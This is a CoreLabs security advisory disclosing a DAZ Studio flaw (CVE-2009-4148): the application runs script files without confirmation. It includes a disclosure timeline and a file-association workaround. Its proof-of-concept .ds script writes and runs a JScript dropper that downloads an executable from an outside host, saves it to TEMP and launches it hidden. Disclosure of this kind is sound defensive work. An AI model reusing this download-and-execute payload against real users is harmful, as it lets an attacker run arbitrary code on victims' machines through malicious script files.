-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
DAZ Studio Arbitrary Command Execution
1. *Advisory Information*
Title: DAZ Studio Arbitrary Command Execution
Advisory Id: CORE-2009-0911
Advisory URL:
http://www.coresecurity.com/content/dazstudio-scripting-injection
Date published: 2009-12-02
Date of last update: 2009-12-01
Vendors contacted: DAZ
Release mode: User release
2. *Vulnerability Information*
Class: Insufficient UI Warning of Dangerous Operations [CWE-357]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 37176
CVE Name: CVE-2009-4148
3. *Vulnerability Description*
DAZ Studio [2] is a 3D figure illustration/animation application
released by DAZ 3D Inc. DAZ Studio can be accessed via a scripting
language which allows for quite a bit of diversity in tool creation.
DAZ Studio does not ask for any confirmation from the user prior to
executing a scripting file with any of the following extensions: .ds,
.dsa, .dse, .dsb. An attacker could abuse the scripting interface by
enticing an unsuspecting user to open a malicious scripting file, thus
obtaining remote code execution.
4. *Vulnerable packages*
. DAZ Studio 2.3.3.161
. DAZ Studio 2.3.3.163
. DAZ Studio 3.0.1.135
. Older versions are probably affected too, but they were not checked.
5. *Vendor Information, Solutions and Workarounds*
The vendor did not provide fixes or workaround information.
To prevent the accidental execution of malicious scripting files you
can disable the default file association of the dangerous file
extensions in the Windows Explorer. The following KB article from
Microsoft describe how to deassociate a file extension.
http://support.microsoft.com/kb/307859
6. *Credits*
This vulnerability was discovered and researched by Diego Juarez from
Core Security Technologies during Bugweek 2009 [1].
7. *Technical Description / Proof of Concept Code*
The following Proof of Concept .ds file demonstrates remote code
execution by downloading and executing putty in the context of DAZ
Studio.
/-----
// DAZ Studio PoC
var oFile = new DzFile("d:\\test.js");
oFile.open(2);
oFile.write("s=WScript.CreateObject(\'WScript.Shell\');o=WScript.CreateO
bject(\'ADODB.Stream\');e=s.Environment(\'Process\');u=\'http://the.eart
h.li/~sgtatham/putty/latest/x86/putty.exe\';b=e.Item(\'TEMP\')+\'\\\\age
nt.exe\';try{x=new
ActiveXObject(\'Microsoft.XMLHTTP\');}catch(e){x=new
ActiveXObject(\'MSXML2.ServerXMLHTTP\');}if(!x)exit(0);x.open(\'GET\',u,
0);x.send(null);d=x.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(d);o
.SaveToFile(b,2);s.Run(b,0);\r\n");
oFile.close()
var oProcess = new DzProcess(["wscript", "d:\\test.js"]);
oProcess.start();
- -----/
8. *Report Timeline*
. 2009-11-06:
Core Security Technologies completes a support form trying to reach a
security contact from DAZ.
. 2009-11-06:
Core receives an email saying that Core contact email was not
recognised as a registered email.
. 2009-11-06:
Core completes a registration form to be able to contact the support
team.
. 2009-11-13:
Since DAZ support team didn't respond to any mail, Core contacts CERT
trying to obtain a valid security contact at DAZ.
. 2009-11-16:
CERT acknowledges the comunication, and Core reschedules the advisory
to November 30th, 2009 based on CERT recommendations.
. 2009-11-18:
CERT communicates that the vendor doesn't seem familiar with
vulnerability reporting/disclosure, and request additional information
about the vulnerability.
. 2009-11-18:
CERT contacted DAZ four times between 11/16 and 11/30.
. 2009-11-19:
Core replies that the issue is a script injection vulnerability.
. 2009-11-30:
DAZ did not wish to provide contact information.
. 2009-12-03:
The advisory CORE-2009-0911 is published.
9. *References*
[1] The author participated in Core Bugweek 2009 as member of the team
"Gimbal Lock N Load".
[2] DAZ Studio: http://www.daz3d.com/i/software/daz_studio3?_m=d
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is
charged with anticipating the future needs and requirements for
information security technologies. We conduct our research in several
important areas of computer security including system vulnerabilities,
cyber attack planning and simulation, source code auditing, and
cryptography. Our results include problem formalization,
identification of vulnerabilities, novel solutions and prototypes for
new technologies. CoreLabs regularly publishes security advisories,
technical papers, project information and shared software tools for
public use at: http://www.coresecurity.com/corelabs.
11. *About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources
are exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and
software security auditing. Based in Boston, MA and Buenos Aires,
Argentina, Core Security Technologies can be reached at 617-399-6980
or on the Web at http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper
credit is given.
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.a
sc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.12 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAksYGpkACgkQyNibggitWa2btgCgjqH59v3fSkxQWv8rCF0Z6DUT
CoAAoJjLOQ/LpZr8SAvPUhsakj4ksW9k
=Bo/M
-----END PGP SIGNATURE-----